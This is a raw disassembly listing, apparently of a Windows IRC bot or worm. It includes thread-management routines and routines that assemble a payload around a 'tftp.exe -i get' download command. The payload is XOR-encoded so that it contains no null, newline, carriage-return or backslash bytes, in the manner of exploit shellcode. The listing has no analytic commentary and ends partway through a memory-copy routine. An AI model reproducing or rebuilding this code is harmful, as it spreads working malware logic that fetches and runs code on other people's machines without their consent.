; Attributes: bp-based frame
sub_414D15 proc near ; CODE XREF: sub_414E04+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_414CF5
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_414D32
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_414D32: ; CODE XREF: sub_414D15+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_415CF0
push [ebp+arg_C]
mov esi, eax
call sub_415CF0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_437C70, eax
lea eax, [edi+1]
mov dword_437C91, eax
lea eax, [edi+17h]
mov dword_437C89, eax
pop eax
push 74h
sub eax, edi
push offset dword_437C0C
push ebx
mov dword_437C9F, eax
call sub_4155D0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_4155D0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_4155D0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_4155D0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_4155D0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_4155D0
add esi, edi
push 38h
add esi, ebx
push offset byte_437C95
push esi
call sub_4155D0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_414D15 endp
; =============== S U B R O U T I N E =======================================
sub_414DED proc near ; CODE XREF: sub_414E04+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_414CF5
push eax
call sub_414E71
add esp, 0Ch
retn
sub_414DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E04 proc near ; CODE XREF: sub_403178+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_414DED
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_414E24
cmp eax, 0FFFFh
jbe short loc_414E28
loc_414E24: ; CODE XREF: sub_414E04+17j
xor eax, eax
jmp short loc_414E6D
; ---------------------------------------------------------------------------
loc_414E28: ; CODE XREF: sub_414E04+1Ej
push esi
push edi
push ebx
call sub_414CF5
add eax, 101h
push eax
call sub_415DC9
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_414CF5
pop ecx
pop ecx
push eax
push esi
call sub_414D15
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414E8C
push esi
mov edi, eax
call sub_415E3D
add esp, 24h
mov eax, edi
pop esi
loc_414E6D: ; CODE XREF: sub_414E04+22j
pop edi
pop ebx
pop ebp
retn
sub_414E04 endp
; =============== S U B R O U T I N E =======================================
sub_414E71 proc near ; CODE XREF: sub_414DED+Ep
; sub_414E8C+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_414E7A
inc ecx
loc_414E7A: ; CODE XREF: sub_414E71+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_414E71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E8C proc near ; CODE XREF: sub_414E04+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_414EA8
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_414EA8
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_414EA8
cmp byte ptr [ebp+arg_C], 0
jnz short loc_414EAB
loc_414EA8: ; CODE XREF: sub_414E8C+8j
; sub_414E8C+Ej ...
inc [ebp+arg_C]
loc_414EAB: ; CODE XREF: sub_414E8C+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_414ED3
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_414ECC
cmp al, 0Dh
jz short loc_414ECC
cmp al, 5Ch
jz short loc_414ECC
test al, al
jnz short loc_414ED3
loc_414ECC: ; CODE XREF: sub_414E8C+32j
; sub_414E8C+36j ...
add [ebp+arg_C], 100h
loc_414ED3: ; CODE XREF: sub_414E8C+28j
; sub_414E8C+3Ej
push [ebp+arg_C]
call sub_414E71
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_414EEB
cmp eax, 0FFFFh
jbe short loc_414EF2
loc_414EEB: ; CODE XREF: sub_414E8C+56j
xor eax, eax
jmp loc_414F90
; ---------------------------------------------------------------------------
loc_414EF2: ; CODE XREF: sub_414E8C+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_469468
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_414F22
loc_414F06: ; CODE XREF: sub_414E8C+94j
mov al, [edx+edi]
xor al, bl
jz short loc_414F19
cmp al, 0Ah
jz short loc_414F19
cmp al, 0Dh
jz short loc_414F19
cmp al, 5Ch
jnz short loc_414F1D
loc_414F19: ; CODE XREF: sub_414E8C+7Fj
; sub_414E8C+83j ...
inc bl
xor edx, edx
loc_414F1D: ; CODE XREF: sub_414E8C+8Bj
inc edx
cmp edx, ecx
jb short loc_414F06
loc_414F22: ; CODE XREF: sub_414E8C+78j
cmp ecx, esi
mov byte_469468, bl
ja short loc_414F4E
push 15h
push offset loc_437BF4
push [ebp+arg_0]
mov byte_437C01, cl
mov byte_437C05, bl
call sub_4155D0
add esp, 0Ch
push 15h
jmp short loc_414F6F
; ---------------------------------------------------------------------------
loc_414F4E: ; CODE XREF: sub_414E8C+9Ej
push 17h
push offset loc_437BDC
push [ebp+arg_0]
mov word_437BEA, cx
mov byte_437BEF, bl
call sub_4155D0
add esp, 0Ch
push 17h
loc_414F6F: ; CODE XREF: sub_414E8C+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_414F8B
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_414F7D: ; CODE XREF: sub_414E8C+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_414F7D
loc_414F8B: ; CODE XREF: sub_414E8C+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_414F90: ; CODE XREF: sub_414E8C+61j
pop esi
leave
retn
sub_414E8C endp
; =============== S U B R O U T I N E =======================================
sub_414F93 proc near ; CODE XREF: sub_406100+220p
; sub_407276+F0p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43F328
loc_414F9B: ; CODE XREF: sub_414F93+18j
cmp byte ptr [eax], 0
jz short loc_414FAF
add eax, 234h
inc edi
cmp eax, offset dword_468818
jl short loc_414F9B
jmp short loc_414FFA
; ---------------------------------------------------------------------------
loc_414FAF: ; CODE XREF: sub_414F93+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43F328[esi]
push eax
call sub_416D40
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43F528[esi], eax
and dword_43F52C[esi], 0
mov eax, [esp+8+arg_8]
and dword_43F530[esi], 0
mov dword_43F534[esi], eax
and byte_43F540[esi], 0
pop esi
loc_414FFA: ; CODE XREF: sub_414F93+1Aj
mov eax, edi
pop edi
retn
sub_414F93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FFE proc near ; DATA XREF: sub_40CE55+5631o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_415050
push [ebp+var_14]
call sub_4152AF
add esp, 14h
push 0
call dword_421048 ; ExitThread
pop edi
pop esi
sub_414FFE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415050 proc near ; CODE XREF: sub_414FFE+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
xor edi, edi
mov esi, offset dword_43F328
loc_41507A: ; CODE XREF: sub_415050+78j
cmp byte ptr [esi], 0
jz short loc_4150BB
cmp [ebp+arg_C], 0
jnz short loc_41508E
cmp dword ptr [esi+204h], 0
jnz short loc_4150BB
loc_41508E: ; CODE XREF: sub_415050+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_4154E7
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 24h
loc_4150BB: ; CODE XREF: sub_415050+2Dj
; sub_415050+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_468818
jl short loc_41507A
pop edi
pop esi
leave
retn
sub_415050 endp
; =============== S U B R O U T I N E =======================================
sub_4150CE proc near ; CODE XREF: sub_40CE55+4A16p
; sub_41515C+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_415156
cmp esi, 12Ch
jge short loc_415156
imul esi, 234h
push edi
push ebx
push dword_43F53C[esi]
lea edi, dword_43F53C[esi]
call dword_421130 ; TerminateThread
cmp [edi], ebx
jz short loc_415106
push 1
pop ebp
loc_415106: ; CODE XREF: sub_4150CE+33j
mov [edi], ebx
lea edi, dword_43F530[esi]
mov dword_43F528[esi], ebx
mov dword_43F52C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_415127
push eax
call sub_414061
pop ecx
loc_415127: ; CODE XREF: sub_4150CE+50j
mov [edi], ebx
lea edi, dword_43F534[esi]
mov byte ptr dword_43F328[esi], bl
mov byte_43F540[esi], bl
push dword ptr [edi]
call dword_43A430
lea esi, dword_43F538[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_43A430
mov [esi], ebx
pop edi
loc_415156: ; CODE XREF: sub_4150CE+Dj
; sub_4150CE+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_4150CE endp
; =============== S U B R O U T I N E =======================================
sub_41515C proc near ; CODE XREF: sub_409E15:loc_409E39p
; sub_40C59A+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43F328
loc_415168: ; CODE XREF: sub_41515C+2Aj
cmp byte ptr [esi], 0
jz short loc_415179
push edi
call sub_4150CE
test eax, eax
pop ecx
jz short loc_415179
inc ebx
loc_415179: ; CODE XREF: sub_41515C+Fj
; sub_41515C+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_468818
jl short loc_415168
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41515C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41518E proc near ; CODE XREF: sub_40CE55+1CC9p
; sub_40CE55+1D37p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43F52C
loc_4151A2: ; CODE XREF: sub_41518E+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_4151C4
test edi, edi
jle short loc_4151B6
cmp [esi], edi
jz short loc_4151B6
cmp ebx, edi
jnz short loc_4151C4
loc_4151B6: ; CODE XREF: sub_41518E+1Ej
; sub_41518E+22j
push ebx
call sub_4150CE
test eax, eax
pop ecx
jz short loc_4151C4
inc [ebp+var_4]
loc_4151C4: ; CODE XREF: sub_41518E+1Aj
; sub_41518E+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_468A1C
jl short loc_4151A2
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41518E endp
; =============== S U B R O U T I N E =======================================
sub_4151DB proc near ; CODE XREF: sub_4071FF+Bp
; sub_407276+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43F528
loc_4151E2: ; CODE XREF: sub_4151DB+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_4151EB
inc eax
loc_4151EB: ; CODE XREF: sub_4151DB+Dj
add ecx, 234h
cmp ecx, offset dword_468A18
jl short loc_4151E2
retn
sub_4151DB endp
; =============== S U B R O U T I N E =======================================
sub_4151FA proc near ; CODE XREF: sub_40CE55+50EBp
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43F528
loc_415204: ; CODE XREF: sub_4151FA+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_41521D
add ecx, 234h
inc edx
cmp ecx, offset dword_468A18
jl short loc_415204
pop esi
retn
; ---------------------------------------------------------------------------
loc_41521D: ; CODE XREF: sub_4151FA+10j
mov eax, edx
pop esi
retn
sub_4151FA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415221 proc near ; CODE XREF: sub_40CE55+1062p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_41523A
push [ebp+arg_1C]
call sub_415A5F
pop ecx
loc_41523A: ; CODE XREF: sub_415221+Ej
push eax
push [ebp+arg_18]
call sub_41518E
pop ecx
test eax, eax
pop ecx
jle short loc_415266
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_4154E7
add esp, 14h
jmp short loc_415280
; ---------------------------------------------------------------------------
loc_415266: ; CODE XREF: sub_415221+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_4154E7
add esp, 10h
loc_415280: ; CODE XREF: sub_415221+43j
cmp [ebp+arg_C], 0
jnz short loc_4152A0
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
add esp, 14h
loc_4152A0: ; CODE XREF: sub_415221+63j
lea eax, [ebp+var_200]
push eax
call sub_40B16D
pop ecx
leave
retn
sub_415221 endp
; =============== S U B R O U T I N E =======================================
sub_4152AF proc near ; CODE XREF: sub_401000+A2p
; sub_401447+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43F53C[eax], ecx
mov dword_43F528[eax], ecx
mov dword_43F52C[eax], ecx
mov dword_43F530[eax], ecx
mov dword_43F534[eax], ecx
mov dword_43F538[eax], ecx
mov byte ptr dword_43F328[eax], cl
mov byte_43F540[eax], cl
retn
sub_4152AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4152EC proc near ; CODE XREF: sub_40CE55+5BF6p
; sub_41541A+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_4152F6: ; CODE XREF: sub_4152EC+68j
mov cl, [esi]
test cl, cl
jz short loc_415356
cmp eax, 1
jnz short loc_415356
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_415356
cmp cl, 2Ah
jz short loc_41533D
cmp cl, 3Fh
jz short loc_415320
cmp cl, 5Bh
jz short loc_415325
xor eax, eax
cmp cl, dl
setz al
loc_415320: ; CODE XREF: sub_4152EC+26j
inc [ebp+arg_4]
jmp short loc_415350
; ---------------------------------------------------------------------------
loc_415325: ; CODE XREF: sub_4152EC+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_415382
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_415350
; ---------------------------------------------------------------------------
loc_41533D: ; CODE XREF: sub_4152EC+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_41541A
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_415350: ; CODE XREF: sub_4152EC+37j
; sub_4152EC+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_4152F6
; ---------------------------------------------------------------------------
loc_415356: ; CODE XREF: sub_4152EC+Ej
; sub_4152EC+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_415366
cmp eax, 1
jnz short loc_41537D
inc esi
mov [ebp+arg_0], esi
jmp short loc_415356
; ---------------------------------------------------------------------------
loc_415366: ; CODE XREF: sub_4152EC+6Dj
cmp eax, 1
jnz short loc_41537D
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_41537D
cmp byte ptr [esi], 0
jnz short loc_41537D
push 1
pop eax
jmp short loc_41537F
; ---------------------------------------------------------------------------
loc_41537D: ; CODE XREF: sub_4152EC+72j
; sub_4152EC+7Dj ...
xor eax, eax
loc_41537F: ; CODE XREF: sub_4152EC+8Fj
pop esi
pop ebp
retn
sub_4152EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415382 proc near ; CODE XREF: sub_4152EC+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_4153A3
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_4153A3: ; CODE XREF: sub_415382+19j
push ebx
push esi
loc_4153A5: ; CODE XREF: sub_415382+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_4153B3
cmp [ebp+var_4], eax
jnz short loc_4153FF
loc_4153B3: ; CODE XREF: sub_415382+2Aj
test edi, edi
jnz short loc_4153F4
cmp bl, 2Dh
jnz short loc_4153E8
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_4153E8
cmp al, 5Dh
jz short loc_4153E8
cmp [ebp+var_4], edi
jnz short loc_4153E8
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_4153F4
cmp bl, al
jg short loc_4153F4
push 1
mov [edx], esi
pop edi
jmp short loc_4153F4
; ---------------------------------------------------------------------------
loc_4153E8: ; CODE XREF: sub_415382+38j
; sub_415382+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_4153F4
push 1
pop edi
loc_4153F4: ; CODE XREF: sub_415382+33j
; sub_415382+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_4153A5
; ---------------------------------------------------------------------------
loc_4153FF: ; CODE XREF: sub_415382+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_41540C
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_41540C: ; CODE XREF: sub_415382+82j
cmp edi, eax
jnz short loc_415415
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_415415: ; CODE XREF: sub_415382+8Cj
mov eax, edi
pop edi
leave
retn
sub_415382 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41541A proc near ; CODE XREF: sub_4152EC+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_415436: ; CODE XREF: sub_41541A+3Aj
cmp [eax], bl
jz short loc_415456
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_41544B
cmp cl, 2Ah
jnz short loc_415456
cmp cl, 3Fh
jnz short loc_41544E
loc_41544B: ; CODE XREF: sub_41541A+25j
inc eax
mov [edi], eax
loc_41544E: ; CODE XREF: sub_41541A+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_415436
; ---------------------------------------------------------------------------
loc_415456: ; CODE XREF: sub_41541A+1Ej
; sub_41541A+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_415461
inc dword ptr [esi]
jmp short loc_415456
; ---------------------------------------------------------------------------
loc_415461: ; CODE XREF: sub_41541A+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_415482
mov edx, [esi]
cmp [edx], bl
jz short loc_415473
xor eax, eax
jmp short loc_4154E2
; ---------------------------------------------------------------------------
loc_415473: ; CODE XREF: sub_41541A+53j
cmp cl, bl
jnz short loc_415482
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_415482
push 1
pop eax
jmp short loc_4154E2
; ---------------------------------------------------------------------------
loc_415482: ; CODE XREF: sub_41541A+4Dj
; sub_41541A+5Bj ...
push eax
push dword ptr [esi]
call sub_4152EC
pop ecx
test eax, eax
pop ecx
jnz short loc_4154CC
loc_415490: ; CODE XREF: sub_41541A+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_415494: ; CODE XREF: sub_41541A+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_4154AC
cmp cl, 5Bh
jz short loc_4154AC
cmp dl, bl
jz short loc_4154AC
inc eax
mov [edi], eax
jmp short loc_415494
; ---------------------------------------------------------------------------
loc_4154AC: ; CODE XREF: sub_41541A+82j
; sub_41541A+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_4154C3
push eax
push dword ptr [esi]
call sub_4152EC
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4154C8
; ---------------------------------------------------------------------------
loc_4154C3: ; CODE XREF: sub_41541A+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_4154C8: ; CODE XREF: sub_41541A+A7j
cmp eax, ebx
jnz short loc_415490
loc_4154CC: ; CODE XREF: sub_41541A+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_4154DF
mov eax, [esi]
cmp [eax], bl
jnz short loc_4154DF
mov [ebp+var_4], 1
loc_4154DF: ; CODE XREF: sub_41541A+B6j
; sub_41541A+BCj
mov eax, [ebp+var_4]
loc_4154E2: ; CODE XREF: sub_41541A+57j
; sub_41541A+66j
pop edi
pop esi
pop ebx
leave
retn
sub_41541A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4154E7 proc near ; CODE XREF: sub_401000+61p
; sub_4010B2+308p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_417D4C
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_415527
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_415534
; ---------------------------------------------------------------------------
loc_415527: ; CODE XREF: sub_4154E7+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_417C37
pop ecx
pop ecx
loc_415534: ; CODE XREF: sub_4154E7+3Ej
mov eax, esi
pop esi
leave
retn
sub_4154E7 endp
; =============== S U B R O U T I N E =======================================
sub_415539 proc near ; CODE XREF: sub_401000+2Ep
; sub_401BD6+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_437D20, eax
retn
sub_415539 endp
; =============== S U B R O U T I N E =======================================
sub_415543 proc near ; CODE XREF: sub_4010B2+CBp
; sub_4010B2+13Fp ...
mov eax, dword_437D20
imul eax, 343FDh
add eax, 269EC3h
mov dword_437D20, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_415543 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_415570 proc near ; CODE XREF: sub_4010B2+281p
; sub_401447+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_4155C3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4155B7
neg ecx
and ecx, 3
jz short loc_415599
sub edx, ecx
loc_415593: ; CODE XREF: sub_415570+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_415593
loc_415599: ; CODE XREF: sub_415570+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4155B7
rep stosd
test edx, edx
jz short loc_4155BD
loc_4155B7: ; CODE XREF: sub_415570+18j
; sub_415570+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4155B7
loc_4155BD: ; CODE XREF: sub_415570+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_4155C3: ; CODE XREF: sub_415570+Aj
mov eax, [esp+arg_0]
retn
sub_415570 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155D0 proc near ; CODE XREF: sub_4010B2+22Dp
; sub_4010B2+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4155F0
cmp edi, eax
jb loc_415768
loc_4155F0: ; CODE XREF: sub_4155D0+16j
test edi, 3
jnz short loc_41560C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
loc_41560C: ; CODE XREF: sub_4155D0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_415624
and eax, 3
add ecx, eax
jmp dword ptr loc_41562C+4[eax*4]
; ---------------------------------------------------------------------------
loc_415624: ; CODE XREF: sub_4155D0+46j
jmp dword ptr loc_415728[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41562C: ; CODE XREF: sub_4155D0+31j
; sub_4155D0+8Ej ...
jmp off_4156AC[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_415640
dd offset loc_41566C
dd offset loc_415690
; ---------------------------------------------------------------------------
loc_415640: ; DATA XREF: sub_4155D0+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41566C: ; DATA XREF: sub_4155D0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_415690: ; DATA XREF: sub_4155D0+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41562C
rep movsd
jmp off_415718[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4156AC dd offset loc_41570F ; DATA XREF: sub_4155D0:loc_41562Cr
dd offset loc_4156FC
dd offset loc_4156F4
dd offset loc_4156EC
dd offset loc_4156E4
dd offset loc_4156DC
dd offset loc_4156D4
dd offset loc_4156CC
; ---------------------------------------------------------------------------
loc_4156CC: ; CODE XREF: sub_4155D0:loc_41562Cj
; DATA XREF: sub_4155D0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
